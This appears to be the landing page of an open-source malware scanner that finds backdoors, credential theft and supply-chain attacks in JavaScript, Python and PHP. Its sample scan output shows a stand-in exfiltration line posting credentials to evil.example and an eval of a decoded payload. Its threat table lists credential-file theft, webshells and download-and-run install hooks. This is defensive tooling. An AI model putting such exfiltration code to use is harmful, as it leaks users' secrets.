Finds what linters miss
Taint-tracking rules follow data from secrets, cookies and request input into eval, shells and the network. A decoded payload passed to exec is flagged; a harmless eval of a literal is not.
One command scans your JavaScript, TypeScript, Python and PHP for backdoors, credential theft and supply-chain attacks. Runs locally, works offline, and fits in a git hook.
Point it at a folder. You get a ranked report you can read in a few seconds:
$ malware-detector scan . --explain
malware-detector: CRITICAL β 3 finding(s) in .
[CRITICAL] src/telemetry.py:4 py-env-exfiltration (semgrep)
Environment / credential data flows to a network sink.
| requests.post("https://evil.example/c", data={"creds": secret})
[CRITICAL] lib/loader.js:2 js-exec-decoded-payload (semgrep)
Dynamic execution of a decoded/obfuscated payload (high-confidence).
| eval(c);
[HIGH] assets/packed.js:1 obf-packed-line (heuristics)
Packed/obfuscated line (582 chars, 2 obfuscation markers).
Scanned 128 files (JavaScript 71 Β· Python 57) with semgrep + heuristics in 3.2s.It exits with 1 when something is found, so the same command can block a commit, a push or a pull request.
uv tool install malware-detector-py # or: pipx install malware-detector-py
malware-detector scan .You don't need a config file, an account or a separate engine install. Full walkthrough β
| Threat | What catches it |
|---|---|
A dependency's postinstall downloads and runs a script | npm-install-hook-command, deps (GuardDog) |
Code reads ~/.aws/credentials or process.env and posts it | exfiltration taint rules |
A base64 or char-code payload is decoded, then eval/exec'd | decoded-payload rules + packed-line heuristic |
A PHP file pipes $_GET/$_POST into system() | webshell taint rule |
pickle.loads / unserialize on untrusted input | deserialization rules |
| Beacons to hard-coded IPs or known OAST/webhook domains | network-to-IP + canary-domain rules |
| Typosquatted or deceptive packages on npm and PyPI | deps (GuardDog metadata heuristics) |
| You want to⦠| Start here |
|---|---|
| Check a repo you just cloned or inherited | Scanning code |
| Vet a package before adding it as a dependency | Scanning packages |
| Block bad code before it is committed | Git hooks |
| Gate pull requests and see alerts in GitHub Security | CI & code scanning |
| Scan untrusted code in a locked-down sandbox | Docker (offline) |
Free and open source, kept alive by sponsors
malware-detector is MIT-licensed and maintained in spare time. If it saves you from a bad day, sponsor it on GitHub β€ or give it a β on GitHub so others can find it. How sponsorship helps β